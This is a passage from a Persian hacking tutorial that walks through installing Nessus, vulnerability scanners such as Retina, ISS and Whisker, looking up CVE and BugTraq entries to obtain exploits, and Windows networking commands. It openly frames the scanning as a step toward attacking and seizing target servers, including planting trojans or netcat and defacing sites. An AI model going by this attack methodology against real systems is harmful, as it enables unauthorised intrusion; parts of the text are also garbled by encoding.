  . تونين يه چايي واسه خدتون بريزين و چند دقيقه استراحت کنيد حالا مي! ) کنيم، اصلا لزومي نداره فکرتون رو خراب بکنيد اتوماتيک داريم نصب مي

  :  صفحه زير ظاهر ميشهوقتي کار نصب تموم شد،

-------------------------------------------------------------------------------- 

                     Nessus installation : Finished 

-------------------------------------------------------------------------------- 

 

 

Congratulations ! Nessus is now installed on this host 

 

. Create a nessusd certificate using /usr/local/sbin/nessus-mkcert 

. Add a nessusd user use /usr/local/sbin/nessus-adduser 

. Start the Nessus daemon (nessusd) use /usr/local/sbin/nessusd -D 

. Start the Nessus client (nessus) use /usr/local/bin/nessus 

. To uninstall Nessus, use /usr/local/sbin/uninstall-nessus 

 

. Remember to invoke 'nessus-update-plugins' periodically to update your 

  list of plugins 

 

. A step by step demo of Nessus is available at : 

        http://www.nessus.org/demo/ 

 

 

Press ENTER to quit 

  .دم اين صفحه آخر اطلاعات مهمي داره که توضيح مي.  بزنيد که نصب تموم بشهEnterيه 

  : اولين جمله اينه

(c) ketabton.com: The Digital Library



٤٩    صفحه  !!آموزش هک و معرفی نرم افزار های مربوطه توسط خودم 

Create a nessusd certificate using /usr/local/sbin/nessus-mkcert 

 : نويسيم  ميShellپس ما در 

# /usr/local/sbin/nessus-mkcert 
 :  بزنيم، صفحه پاک شده و متن زير ظاهر ميشهEnterوقتي 

------------------------------------------------------------------------------- 

                        Creation of the Nessus SSL Certificate 

------------------------------------------------------------------------------- 

 

This script will now ask you the relevant information to create the SSL 

certificate of Nessus. Note that this information will *NOT* be sent to 

anybody (everything stays local), but anyone with the ability to connect to your 

Nessus daemon will be able to retrieve this information. 

 

 

CA certificate life time in days [1460]: 

  : به صورت زير.  تموم بشهcertificationزنيم تا کار ايجاد   به ترتيب ميEnter تا ۶از همينجا تا آخر کار 

CA certificate life time in days [1460]: 

Server certificate life time in days [365]: 

Your country (two letter code) [FR]: 

Your state or province name [none]: 

Your location (e.g. town) [Paris]: 

Your organization [Nessus Users United]: 

  : بعد صفحه زير مياد

------------------------------------------------------------------------------- 

                        Creation of the Nessus SSL Certificate 

------------------------------------------------------------------------------- 

 

Congratulations. Your server certificate was properly created. 

 

/usr/local/etc/nessus/nessusd.conf updated 

 

The following files were created : 

 

. Certification authority : 

   Certificate = /usr/local/com/nessus/CA/cacert.pem 

   Private key = /usr/local/var/nessus/CA/cakey.pem 

 

. Nessus Server : 

    Certificate = /usr/local/com/nessus/CA/servercert.pem 

    Private key = /usr/local/var/nessus/CA/serverkey.pem 

 

Press [ENTER] to exit 

  .زنيم، تا کار تموم بشه  رو هم ميEnterحالا آخرين 

 درست کنيم که بتونيم nessus روي سرور userحالا بايد يک .  درست کرديمNessus براي SSL Certificate رو اجرا کرديم و هم nessus-installer.shپس ما تا حالا هم 

  : کنيم کار از دستور زير استفاده مي براي اين.  کنيمloginافزار  بعدا از طريق او به نرم
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# /usr/local/sbin/nessus-adduser 
 : به محض اجراي اين دستور متن زير ظاهر ميشه

Add a new nessusd user 

---------------------- 

 

Login : 

 : کنيم و بعد سطر زير مياد اسم مورد نظر رو وارد مي.  وارد کنusernameاين يعني يک 

Authentication (pass/cert) [pass] : 

 : بعد سطر زير مياد.  بمونهpassفرض يعني  زنيم که همون پيش  ميEnterما . سنجي چي باشه اين يعني روش هويت

Login password :  

موقع وارد کردن پسورد * از کاراکتر ( حالا پسورد رو بنويسيد ! اول يه نگاه به چپ، بعد يه نگاه به راست، بعد يه نگاه به عقب. يماينجا بايد پسورد براي يوزر رو وارد کن

  ! )واسه همين مراسم رو بجا آورديم. خبري نيست

 : حالا اين متن ظاهر ميشه

User rules 

---------- 

nessusd has a rules system which allows you to restrict the hosts 

that ali has the right to test. For instance, you may want 

him to be able to scan his own host only. 

 

Please see the nessus-adduser(8) man page for the rules syntax 

 

Enter the rules for this user, and hit ctrl-D once you are done : 

(the user can have an empty rules set) 

 رو فشار ctrl-Dتونه اسکن کنه رو محدود کنيم، ولي فعلا لازم نيست، پس ترکيب   تعريف کنيم که دامنه جاهايي که ميuser واسه Rulesاينجا ميشه يه سري 

  : حالا اين ظاهر ميشه. ديم مي

Login             : xxxxxxxxxx 

Password          : yyyyyyyyy 

DN                : 

Rules             : 

 

Is that ok ? (y/n) [y] 

  .زنيم که کار تموم بشه  ميEnterيه 

  ! به همين راحتي نصب شدnessusافزار  نرم. گم تبريک مي

  

  

   را اجرا کنيم؟nessusحالا چطوري . افزار رو نصب کردم  نرم-

  

 nessus که به اون nessusبراي اجرا کردن سرور .  رو اجرا کنيدnessus استفاده کنيد، اول بايد سرور nessusکنيد، اگه بخواين از   ي مrestartهر بار که کامپيوتر رو  - ١

daemon يا به شکل خلاصه nessusdنويسيم گن، دستور زير رو مي  مي :  

# /usr/local/sbin/nessusd -D 
  .دشو اندازي مي  راهnessusبه اين راحتي سرور 

 : شود براي اين کار از دستور زير استفاده مي. تونين اجرا کنيد نکته مهم اينکه هر چند تا کلاينت که بخواين مي. کنيم حالا کلاينت رو اجرا مي - ٢

# /usr/local/bin/nessus 
  .تر است  ولي استفاده از حالت گرافيکي راحتکنه  در حالت متني هم کار ميnessusتوجه کنيد که . افزار ظاهر ميشه با اجراي اين دستور پنجره نرم
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  . اندی صفحه حال تایپ برام نمونده ٥٠خوب اميد وارم کامل باشد واقعا بعد از نوشتن این 

  !! بالا با عرض پوزش از نویسنده مقاله
  

پنجѧره ای بѧاز شѧود و شѧما ان را از حالѧت      شѧاید بعѧد از ایѧن مرحلѧه     . خوب وقتی برنامه بالا آمد اول از شما نام کربری و کلمه عبور را ميخواهد   
 کѧه مѧن    ، اسѧت شѧده  دسѧته بنѧدی   ، ها Script ميرسم که هریک از Pluginsبعد از این مرحله به برگه     .  را بزنيد  OKپيش فرض تغيير ندهيد و      

  :در جدول زیر توضيح داده ام کار آنها را را ها دسته 
  

  توضيح عملکرد دسته Plug-inنام   
١  Miscellaneous  اینScript ها آزمونهایی درباره حساب های کاربری و مسيرجوها 

  انجام ميدهند..و
٢  Gain a shell remotely  اینScript ها آزمونهایی ر باره سر ریزی بافر و گریز از دست 

 .سيستم احراز هویت انجام ميدهند
٣  Finger abuses  اینScript ها آزمونهایی در باره شبح Fingerمکان دستيابی به  که ا

فایل های حفاظت شده ، فرمانهای سيستمی حفاظت شده و اطلاعات 
  .حفاظت شده کاربران را در اختيار مهاجم ميگزارد، انجام می دهد

۴  Windows  اینScript آزمونهایی در باره پروتکل های SMB و NetBIOS و 
  .سایر حفره های سيستم عامل ویندوز انجام ميدهد

۵  Backdoor  اینScript ها دنبال برنامه های اسب ترآوا ميگردد .  
۶  General  اینScript ها آزمایشی در باره شماره ویرایش و اطلاعات برنامه 

که ممکن است مفيد باشد انجام های کاربردی و سرویس دهنده ها 
  .ميدهد

٧  SNMP  اینScript ها آزمونهایی در مورد پروتکل SNMP به منظور کشف 
  .های قابل استفاده انجام ميدهدحفره 

٨  CGI abuses  اینScript ها  آزمونهایی در مورد قابليت نفوذ برنامه  های CGI به 
 و برنامه Apache و IISمنظور نفوذ در وب سرور هایی همچون 

 Front Page  و Cold fusion و FHPهای کاربردی نوشته شده با 
  . انجام ميدهد

٩  Remote file Access  اینScript ها آزمونهایی درباره روشهای غير مجاز دسترسی به 
  انجام ميدهد...  یا HTTP یا NFSفایلها از طریق سرویس هایی 

١٠  RPC  اینScript ها آزمونهایی در مورد دستيابی به اطلاعات RPC و 
  . انجام ميدهدststd و mountdسرویس های قابل نفوذ آن مانند 

١١  Gain root remotely  اینScript ها آزمونهایی را در باره دست رسی از راه دور به سيستم 
  .تحت نام کاربر اصلی انجام ميدهد

١٢  Firewalls  اینScript ها آزمونهایی در باره پيکر بندی نادرست دیوار آتش 
  .انجام ميدهد

١٣  Useless service  اینScriptمانند  ها آزمونهای در مورد سرویسهای منسوخ شده ای 
echo و daytime و rshانجام ميدهد...  و.  

١۴  Denial-of-Service  این اسکریپت ها آزمونهایی را به منظور تشخيص حملاتی از نوع
DOSانجام ميدهد .  

١۵  FTP  اینScript ها آزمونهایی در باره نقاط ضعف برنامه FTP انجام 
  .ميدهد

١۶  NIS  اینScriptيت نفوذ پذیری به واسطه سرویس  آزمونهایی در مورد قابل
NIS که توسط شرکت SUNعرضه شده است انجام ميدهد .  

١٧  SMTP problems  اینScript ها آزمونهایی در باره اشکالات پروتکل پست الکترونيکی 
  .انجام ميدهد

١٨  Windows User Managemnt  اینScript ها آزمونهایی را درباره تشخيص مشکلات و نقاط قابل 
فوذ موجود در رابطه با حساب کاربران یا گروه های تعریف شده در ن

  .سيستم عامل ویندوز انجام ميدهد
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 Nmap ميرویѧد کѧه گزینѧه هѧا آنجѧا را مѧشابه برنامѧه هѧای بѧالا اسѧت بѧه خѧصوص               Prefs های مورد علاقه خود به برگѧه         Scriptبعد از انتخاب    
ایѧن  .  که حتما آن را فعال کنيدScan  for LaBrea tarpitted hosts  است با نام Scan Optionفقط یک گزینه می ماند که در برگه  . است 

ایѧن  . کѧه بѧسيار خѧوب اسѧت     به کار ميبѧرد  LaBrea را که دیگر حوصله توضيح آن را ندارم فعال ميکند که عليه برنامه دفاعی                مکانيزمیگزینه  
  .ست که معمولا اکثر ماشينهای روی شبکه دارند یک برنامه دفاعی عالی و البته ارزان اLaBreaبرنامه 

  
را فѧشار ميدهيѧد خѧوب برنامѧه بعѧد از مѧدتی بѧه شѧما          Start the scan هѧدف را وارد ميکنيѧد و بعѧد دکمѧه     IP شما Target Selectionدر برگه 

که در مورد کارایی هѧر  ...  و باشد کنار هر حفره ای که کشف کرده یک سری شماره است         TXT و   HTMLجواب ميدهد که ميتواند در فرمت       
  .کدام بعدا کامل توضيح ميدهم 

  
   : Retinaبرنامه 

  
  : است که این شکلی ۴٫٩٫٨ باشد این شکل نسخه ۵٫٢ است که فکر ميکنم آخرین نسخه آن Retinaخوب ابزار بعدی که معرفی ميکنم برنامه 

  

  
  

 را انتخѧاب  Options رفتѧه و گزینѧه    Toolsبرای این منظور به منوی کرکره ای        رد  کار با این برنامه ساده است و البته پيک بندی آسانی نيز دا            
شما ميتوانيد در این پنجره سرعت برنامѧه را کѧم زیѧاد کنيѧد کѧه بѧا نتѧایج رابطѧه مѧستقيمی          . کنيد تا کادری را که در شکل بالا مشاهده ميکنيد ببينيد      

را تنظيم کنيد و البته هѧم امکѧان اتوماسѧيون           ... ن را سرمی برد حساسيت برنامه و      دارد سرعت زیاد جواب خوبی نميدهد سرعت کم هم حوصله آ          
  .هم موجد است بقيه کارا با خودتان ... البته گزینه هایی هم در باره نوع قالب پاسخ و. نيز موجد ميباشد

  !!! بنویسيد Address و یا آدرس سایت را باید در مقابل گزینه Ipاین که حتما ميدانيد آدرس 
  

   :Internet Security System و یا نام کامل  ISSبرنامه 
  

   : که قدیمی است۶٫٢است نسخه کار با این برنامه ساده است کارای بدی هم ندارد سيمای برنامه این شکلی 
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ميدید یک سری فایل دارنѧد کѧه بѧا         این را باید اول ميگفتم ، این ابزار ها همانطور که فه           . خوب این از معرفی ابزارهای پویش نقاط آسيب پذیری          
تست آنها می فهمند آیا این حفره قابل استفاده است یا نه یک دفعه خدای نکرده فکر دیگه ایی نکنيد که مثلا اینها از خودشون کشف ميکننѧد حفѧره        

  .را که آبروی ما و خودتان را یک جا به آب روان و پاک بسپارید
  

کردم به شما ، بعد از عمل پویش یک سری جواب ميدهد که معمولا سرویس های روی پورت های بѧاز و                  خوب حتما با این ابزار ها که معرفی         
 ما برای اسѧتفاده از ایѧن شѧماره هѧا      آنها ،حفره های امنيتی قابل استفاده در قالب درجات خطرناک و متوسط و پایين و یک سری شماره در پایين          

 البته شما با این شماره    .که در قالبهای مختلفی نيز هم است      ... ) برای طبقه بندی و     ( های امنيتی   که نام آن حفره است از نظر متخصصين و سایت         
  . برای آن پيدا ميکنيدExploitها مطالبی در باره آن حفره می آموزید و اگر حفره قابل بهره برداری نيز باشد به احتمال زیاد چند تا 

  
   :CAN و CVEاولين قالب 

  
ميتوانيѧد بѧه   ، شѧروع ميѧشود    CANو یѧا   CVEیѧک عѧدد اسѧت کѧه بѧا عبѧارت       گذاری یا نام گذاری حفره هѧای امنيتѧی کѧه شѧامل         شماره  این قالب   
   : زیر مراجعه کرده و درباره آنها اطلاعات بگيریدسایت های

  
http://www.iss.net/security_center/advice/Concordance/CVE/default.htm 
http://www.securityfocus.com/ 
http://www.securitytracker.com/ 
http://www.xfocus.org/ 

  
یا  CVEوارد کردن شماره  ا ب سایت رفته وVulnerabilityمراجعه کرده و به قسمت برای مشاهده اطلاعات در باره این عدد به سایتهای بالا        

CAN           مطالبی  در باره آن بی آموزید و احياناExploit ه آن  و با تو.  هم برای استفاده از آن حفره امنيتی پيدا کنيدѧجه بExploit   ازѧه را آغѧحمل 
  .کنيد

  
  . ها شماره را همراه عبارت همراه آن بنویسيدxاگر می خواهيد کار شما یک کمی سر راست تر شود ميتوانيد به آدرس زیر بروید و به جای 

  
http://cve.mitre.org/cgi-bin/cvename.cgi?name=xxxxxxxxxxxxx 
http://cgi.nessus.org/cve.php3?cve=xxxxxxxxxxx 

  
خوب بعد از این کار شاید دوباره یک سѧری شѧماره معѧادل بѧا فرمѧت نѧام گѧزاری مختلѧف را بѧه شѧما بعѧلاوه یکѧسری مطلѧب در جѧواب بدهѧد کѧه                                      

  .توصيه ميکنم هم را مطالعه کنيد
  

   :Bug Traqیا  BIDقالب 
  

  برای مشاهده توضيحات این قالب ميتوانيد از آدرس  زیر استفاده کنيد 
http://www.securityfocus.com/bid/xxxx 

  
  !!همين .  باید فقط شماره را وارد کنيدxکه به جای واژه های 
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   :CERT یا CAقالب 
  

  : ها تمام عبارت با پيشوند آن را مينویسيم xاین هم یک نوع قالب است که برای دیدن توضيحات آن به آدرس زیر مراجعه ميکنيم و به جای 
  

http://www.cert.org/advisorise/xxxxxxxxxx.html 
  

   :XFقالب 
  

  .در این قالب می توانيد توضيحات مربوطه را از آدرس زیر بدست آورید
  

http://www.iss.net/security_center/search.php 
  

 کѧه   ،ل حفره هѧای امنيتѧی   است برای گشتن به دنبا    securityfocus.com و سایت    iss.netخوب این هم از این ، به نظر من بهتر این جا سایت              
 نفوذ خود باعث ميشوید کѧه شѧخص دیگѧری     از با این کار بعد   (  ميتوانيد راه حل بر طرف کردن این حفره          securityfocus.comشما در سایت    

و مطالѧѧب حفѧѧره و کѧѧد برنامѧѧه بهѧѧره بѧѧرداری از ایѧѧن !! ) از راه ایѧѧی کѧѧه شѧѧما آمѧѧده ایѧѧد وارد نѧѧشود و کѧѧار شѧѧما را خѧѧراب نکنѧѧد بѧѧا ناشѧѧی بѧѧازی اش 
                     ѧردن قالѧار وارد کѧرین کѧه بهتѧود در         بآموزنده و شماره و قالب معدل آن را بدست آورید ، البتѧر خѧورد نظѧای مѧد واژه هѧراه کليѧماره آن همѧو ش  

  . است که برای شما نتایج زیادی را بدست می آوردGoogleجستجوگر 
  

   :یر برای کشف حفره های آسيب پذپویش برنامه های کاربردی تحت وب
  

بѧرای کѧسانی کѧه     ( خوب در این باره یک مطلب دیگر است که فقط مربوط به کشف حفره های برنامه های تحت وب ميѧشود کѧه توضѧيح ميѧدهم                 
   .!! ) کردن صفحه سایت ها هستند دارم ميگویم Deificخوره 

  
 گѧام اول کѧشف کѧرده بعѧد یѧک راسѧت اگѧر دل خودتѧان          ما در این کار اول ماشينی که وظيفه سرویس دهنده وب را بѧر عѧده دارد را بѧا روشѧهای            

ایѧن  ( موفق شوید گام سوم هѧم را انجѧام دهيѧد    % ١٠٠خواست می آیيد به این مرحله اگر وسواسی هستيد گام دوم را هم انجام دهيد اگر ميخواهيد    
  ).دارم توضيح ميدهم انجام ميدهند  همين جا بگویم تمام برنامه هایی که در گام سوم معرفی کردم این نوع پویش خاص را که حالا

  
  ...  وiPlanet و Apache و IISاصول کار در این روش فقط حمله به برنامه سرویس دهنده وب است مثل 

  
   :Whiskerمعرفی ابزار 

  
 اسѧتفاده   قابѧل م بѧرای وینѧدوز هPerl   ѧ نه ببخشيد بѧا یѧک مفѧسر     استUnix است که برای خانواده Whiskerمعروف ترین برنامه برای این کار  

  : اصطلاحا دستور زیر را می نویسيم Shellبرای استفاده از این دستور در خط فرمان محيط لينوکس ها یا همان . ميشود
$ whisker.pl –h xxx.xxx.xxx.xxx –vv –W | tee 

  :سویچ های متداول این برنامه!! خوب این اول باید ميگفتم که الان ميگم ببخشيد 
  !! حتما استفاده ميکنيم h– آن استفاده کنيم از سویچ IPماره شهيم از نام ميزبان یا هنگامی که بخوا

  . استفاده ميکنيم H– را به برنامه بدهيم از سویچ IPاگر بخواهيم ليستی از ميزبان ها و یا شماره 
  . باعث ثبت نتایج پویش حفره ها ميشودvv–سویچ 
  .يره شود  ذخHTML باعث ميشود نتایج در قالب W–سویچ 
  !!)به ندرت استفاده کنيد : توصيه من به شما . (  باعث ميشود که هميشه نتایج در فایلی که معرفی ميکنيد ثبت شودl–سویچ 
  ) بگزاریدh–این سویچ را باید قبل از سویچ  ( ) استفاده می کنند SSLبرای وب سایت هایی که از . ( ميشودSSL باعث استفاده از x–سویچ 

  
 هستند و با استفاده از کѧدی  Script جلوی آنها است و ترجيحا در شاخه OK 200ن ها است شما باید دنبال آن جواب هایی بگردید که خوب همي

  . بپردازید و سرویس دهنده را کنترل آن را بدست بگيرید...  وNCکه جلوی آن است با ارسال یک اسب ترآوا و یا 
 کارش این هست که خروجی را از برنامه در حال اجѧرا لحظѧه بѧه لحظѧه     Teeهستند حتما ميدانند که تابع    فقط این بگم که آنهایی که لينوکس کار         

  .ميگيرد و به ما نمایش ميدهد و البته ذخيره هم ميکند
  

  :خوب با فرمان زیر ميشود نوع وب سرور را تشخيص داد با این برنامه 
$ whisker.pl –h xxx.xxx.xxx.xxx –vv –W –s  "IIS/5.0" 
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تمѧام خѧوره   : نکتѧه  (ایѧن اسѧت کѧه    کѧار ایѧن دسѧتور    .  نوع سرویس دهنده را حدس بزید و بعد برنامه را اجرا کنيѧد          IIS/5.0البته شما باید به جای       
بѧدون  !! ) جون از یѧک مکѧانيزمی اسѧتفاده ميکنѧد کѧه خѧودش را جѧای مѧدل هѧای دیگѧه جѧا ميزنѧد                       " بيلی  "  حتما ميدانند که سرویس      Deificهای  
  . را انجام ميدهدIIS/5.0جه به نوع سرویس دهنده انواع برسی های خاص مدل تو
  

  :برای بهبود این کار بهتر است در کد منبع این نرم افزار بعد از دو خط زیر
$ D { ` XXServerAgent ` } = " mozilla/5.0 [EN] (Win95; U ) " ; 
$ D { ` XXForce ` } = 1 if defined ( $args {f} ) ; 

  :ط زیر را درج کنيد خ
$ D { ` XXForceS ` } =1 if defined ( $args {S} ) ; 

این شکلی کلمѧه عبѧور   " username:password "  را نوشته بعد a–خوب اخرین نکته این است که اگر احتياجی به کلمه عبور بود یک سویچ 
  .و نام کاربری را وارد ميکنيم 

  
 کѧه نѧسخه آن بѧرای همѧه سيѧستم عاملهѧا        Niktoن کاره به غير از این برنامѧه کѧه معرفѧی کѧردم  ميѧشود بѧه      خوب این از این ، برنامه های خفن ای

بѧه  توضѧيحات اش را  این هم مثل بѧالای اسѧت        .  نوشته شده و یک مفسر برای ویندوز لازم دارد         Perl این هم تحت زبان      .نوشته شده است نام برد    
 اسѧت کѧه یѧک محѧيط         Stealthکه ميتѧوانم بѧه شѧما معرفѧی کѧنم البتѧه فقѧط بѧرای وینѧدوز برنامѧه خفѧن                         برنامه بعدی خفنی     !!خودتان واگذار ميکنم    

  ) !!!حتما استفاده کنيد چون کارایی اش خوب(گرافيکی ساده هم دارد کار با این ساده است  پس به خودتان ميسپارم توضيحات آن را 
  
  
  

  :گام چهارم و البته آخرین گام 
  

ردیم بفهميم اصلا ماشين مورد نظر ما کجا است چه سيستم عاملی دارد چند سѧرور دارد و هѧر سѧرویس روی کѧدام ماشѧين              ما در گام اول سعی ک     
است و چه کسی ای سایت را ثبت کرده محدوده شبکه آن کدام است در چه کشوری است مابين ما و ماشѧين هѧدف چنѧد ماشѧين واسѧطه برقѧراری                           

کѧه بعѧد از دانѧستن ایѧن اطلاعѧات پایѧه           ... و ماشين هدف است و چند مѧسير یѧاب بѧين مѧا و هѧدف قѧرار دارد و                     هستند آیا دیوار آتشی بين ما        طارتبا
بعѧد از انتخѧاب ماشѧين هѧدف شѧروع بѧه پѧویش        غاز ميکنѧيم بѧرای ایѧن کѧار      آتصميم خود برای ماشين هدف و حمله ، و سيطره بر ماشين هدف را     

ز کننده پورت زده با این کار ميتوان البته برای با تجربه هѧا از همѧين جѧا مرحلѧه حملѧه را بѧا       پورت های باز کرده و دست به شناسایی سرویس با      
دانستن نقطه ضعفهای سرویس شروع کرده اما ما چون بی تجربه هستيم مرحله بعد را انجام ميدهيم با این کار نقاط ضعف و اسيب پѧذیر ماشѧين                   

 بѧѧاره آن رفتѧѧه و بѧѧرای آن هѧѧم اگѧѧر برنامѧѧه نѧѧویس هѧѧستيم یѧѧک برنامѧѧه کѧѧاربردی مينویѧѧسم  هѧѧدف شناسѧѧایی شѧѧده و مѧѧا بѧѧه سѧѧراغ مطالѧѧب آموزنѧѧده در 
)Exploit (                ردیمѧره ميگѧرداری از آن حفѧره بѧرای بهѧاربردی و                    . و گرنه دنبال برنامه کاربردی بѧه کѧه برنامѧه بѧا توجѧه بѧن مرحلѧد از ایѧپس بعѧس

  . کار را تمام ميکنيممطالبی که مطالعه رده این در این باره حمله را تدارک دیده و
  

  .م و آخرین گام از این به بعد به معرفی نرم افزار های کاربردی متفرقه اما کاملا مرتبط با این مقوله ميپردازم این هم از گام چهارخوب 
  

  : ؛ آموزش برنامه های مربوط به شبکه در داخل ویندوز ضميمه اول
  

   :NET دستورهای
  

نبѧود علامѧت نѧشان نѧا      (ح دادم در جدول ؛ البته قابليت اجرای آن فرمѧان را در نѧسخه هѧایی وینѧدوز نѧشان داده ام               که تمام فرمان های آن را توضي      
   :)توانایی برای اجرا برای آن نسخه است 

  
  توضيح عملکرد فرمان XP 2000ME NT 9x  عنوان فرمان  
١  Net accounts Җ  Җ  –  Җ  –   رایانه یا دامنه تنظيمات و سياستهای همه نامهای کاربری یک

  .خاص را پيکر بندی ميکند
٢  Net computer Җ  Җ  –  Җ  –  از دامنه جاری رایانه ها را حذف یا اضافه ميکند.  
٣  Net config Җ  Җ  Җ  Җ  Җ  اطلاعات سرویس گيرنده شبکه را نمایش ميدهد.  
۴  Net continue Җ  Җ  –  Җ  –  راه اندازی یک سرویس تعليق شده.  
۵  Net diag  –  –  Җ  –  Җ  نمایش اطلاعات مفيدی درباره سخت افزار اتصالات شبکه.  
۶  Net file Җ  Җ  –  Җ  –   فایلهای مشترک بين کاربران شبکه را به نمایش در می آورد و

  .ميبندد ، و قفل فایل ها را بر می دارد
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٧  Net group Җ  Җ  –  Җ  –   گروهای سراسری ایجاد یا حذف می کند و کاربران را با آن
  .افه  ، یا از آن حذف ميکندگروه ها اض

٨  Net help Җ  Җ  Җ  Җ  Җ   اطلاعات کمکی در باره زیر فرمانNET خاص را به نمایش 
  .در می آورد

٩  Net helpmsg Җ  Җ  –  Җ  –   درباره یک کد خطای چهار رقمی خاص اطلاعات اضافی به
  .نمایش در می آورد

١٠ Net init –  –  Җ  –  Җ   پروتکل و کارت شبکه مورد بارگذاری  درایورهای مربوط به
 Windows Protocolاستفاده بدون بهره گيری از برنامه 

Manager.  
١١ Net localgroup Җ  Җ  –  Җ  –   گروهای محلی ایجاد ميکند و کاربران را به آن اضافه  یا از آنها

  .حذف می کند
١٢ Net name Җ  Җ  –  Җ  –   تعریف نام مستعار جدیدی برای ارسال پيغام.  
١٣ Net logoff –  –  Җ  –  Җ  خاتمه جلسه مابين رایانه  حاضر و رایانه حاوی منابع مشترک.  
١۴ Net logon –  –  Җ  –  Җ   اتصال به حوزه یا گروه کاری مورد نظر.  
١۵ Net password –  –  Җ  –  Җ  کلمه عبور کاربری از شبکهرتغيي .  
١۶ Net pause Җ  Җ  –  Җ  –  تعليق یک سرویس در حال اجرا.  
١٧ Net print Җ  Җ  Җ  Җ  Җ   دستيابی به اطلاعاتی در مورد وضعيت صف مربوط به چاپگر

  .متصل به یک رایانه خاص و کنترل آن 
١٨ Net send Җ  Җ  –  Җ  –  ارسال پيغام به کاربر یا کامپيوتر دیگری بر روی شبکه.  
١٩ Net session Җ  Җ  –  Җ  –  ایانه های نمایش و یا خاتمه جلسات ما بين رایانه حاضر و سایر ر

  .موجد در شبکه
٢٠ Net share Җ  Җ  –  Җ  –   ایجاد ، حذف و نمایش یک منبع مشترک.  
٢١ Net start Җ  Җ  Җ  Җ  Җ  راه اندازی یک سرویس خاص.  
٢٢ Net statistics Җ  Җ  –  Җ  –  نمایش آماری درباره یک سرور یا ایستگاه کاری.  
٢٣ Net stop Җ  Җ  Җ  Җ  Җ  توقف یک سرویس خاص.  
٢۴ Net time Җ  Җ  Җ  Җ  Җ   نمایش زمان جاری یا تنظيم زمان با سروری تحت عنوانtime 

server که به همين منظور تدارک دیده شده است١٣ پورت .  
٢۵ Net use Җ  Җ  Җ  Җ  Җ   اتصال یا قطع اتصال از یک سيستم حاوی منبع مشترک ؛ نمایش

  .اطلاعات در مورد منبع مشترک
٢۶ Net user Җ  Җ  –  Җ  –   اضافه یک حساب کاربردی از ليست کاربران موجد در حذف یا

  .شبکه
٢٧ Net ver –  –  Җ  –  Җ   نمایش نسخه مور استفاده از Workgroup redirector.  
٢٨ Net view Җ  Җ  Җ  Җ  Җ   نمایش ليستی از منابع مشترک موجد بر روی یک رایانه خاص یا

   )sub netاصطلاحا ( تمام رایانه ها ی موجد در یک زیر شبکه 
  

  !!!من فقط کار دستورها را گفتم کاربرد تک تک آنها با خودتان !!! خوب این هم از این 
  

   :Pingدستور 
  

با این دستور بدسѧت آورد البتѧه     را یک سایتIPالبته ميشود . یا پایين بودن یک ماشين است      ) فعال بودن ماشين  ( این دستور برای تشخيص بالا      
  !! سایت را کشف کرد IP نوشت و که آدرس سایت را )  ماشين سرویس دهنده وب را ميدهد IPاره معمولا شم( زیاد جالب نيست 

  
  .دارای یک سری سویچ است که توضيحات آن را مشاهده ميکنيد

  
  .آنقدر مقصد را پينگ ميکند تا شما تا اینکه شما دستور توقف را صادر کنيد  : t–سویچ 
  .يزبان تبدیل ميکند مقصد را به اسم مIPآدرس  : a–سویچ 
  .تعداد بسته هایی را که فرستاده ميشود مشخص ميکند : n–سویچ 
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  .اندازه بسته هایی را که فرستاده ميشود مشخص ميکند : l–سویچ 
  . را یک قرار ميدهدIP Do not Fragmentدر بسته های که فرستاده ميشود پرچم  : f–سویچ 
 و در با عبور بسته شѧما از هѧر ماشѧين یѧک واحѧد از آن کѧم ميѧشود       . ( را مشخص ميکندTTL مقدار در بسته هایی که فرستاده ميشود : i–سویچ  

 کѧار ميکنѧد بѧرای کѧشف تعѧداد ماشѧينهای شѧما و              tracert.exeصورت صفر شدن این پارامتر حذف ميشود بسته شما ؛ که با این مکانيزم فرمان                
  .)مقصد مور نظرتان

  . مشخص ميکندEcho Request را برای بسته های IP Type of Serviceمقدار  : v–سویچ 
  . مسيریاب ها را برای تعداد هاپ مشخص شده ثبت ميکندIPآدرس  : r–سویچ 
  .مهر زمانی مسيریاب ها را برای تعداد هاپ مشخص شده ثبت ميکند : s–سویچ 
  . مشخص می کندفهرست برخی از مسيریاب ها را که بسته ها باید از آن استفاده کنند را : j–سویچ 
  .فهرست کل مسيریاب ها را که بسته ها باید از آنها استفاده کنند را مشخص ميکند : k–سویچ 
  .مدت زمانی که سيستم باید منتظر هر پاسخ بماند را مشخص ميکند : w–سویچ 

  
  !!باز هم من فقط پارامتر ها را توضيح دادم و ادامه کار با خودتان 

  
   :Tracertفرمان 

  
  .رمان برای مشخص کردن مسيری است که برای رسيدن بسته اطلاعاتی شما به هدف مورد استفاده قرار گرفته استاین ف

  .دارای چهار سویچ است که توضيح آنها در زیر آمده است 
  

  . ها نشان داده ميشودIPبا استفاده از این سویچ فقط در نمایش نتایج  : d–سویچ 
  . است که کافی است٣٠یچ حداکثر تعداد ماشينها را مشخص ميکنيد که البته پيش فرض با استفاده از این سو : h–سویچ 
  .با استفاده از این سویچ از یک فایل استفاده ميکنيم  : j–سویچ 
  .مدت زمانی که سيستم باید منتظر هر پاسخ بماند را مشخص ميکند : w–سویچ 

  
   : Telnetدستور 

  
  :ت خاص است به این صورت که این دستور برای وصل شدن به یک پور

C :\> telnet xxx.xxx.xxx.xxx port number  
 

   :Routeدستور 
  

جدول مسير یѧابی بѧرای تعيѧين مѧی کنѧد هѧر بѧسته بایѧد سѧر از           . ( این فرمان برای مشاهده جدول مسير یابی و اضافه یا حذف کردن اقلام آن است              
  !! ).کجا در بی آورد 

ROUTE [-F] [-P] [command [destination] [MASK netmask] [gateway] [METRIC metric] [IF interface] ] 
  

  : یکی از این چهار مقدار را می گيردcommandمتغيير 
  

  . را اضافه کنيد محتوای جدول را مشاهده ميکنيد PRINT–اگر به فرمان سویچ 
-ADD : یک فقره جدید در جدول مسير یابی ایجاد ميکند.  

-DELETE : فقره از جدول مسير یابی را حذف ميکندیک .  
-CHANGE : پارامترهای یکی از مقادیر جدول مسير یابی را تغيير ميدهد.  

  
  :سایر پارامترهای خط فرمان 

-f : همه اغلام جدول مسير یابی را حذف ميکند.  
-p :  اگر همراه سویچaddبه کار رود یک فقره دائمی ایجاد ميکند .  

- destination : رس شبکه یا ميزبان فقره های از جدول مسير یابی که اضافه یا حذف ميشود و یا تغيير داده ميشود را مشخص می کندآد.  
- MASK netmask :  ماسک زیر شبکه متناظر با آدرس مشخص شده توسط متغيرdestinationرا مشخص ميکند .  

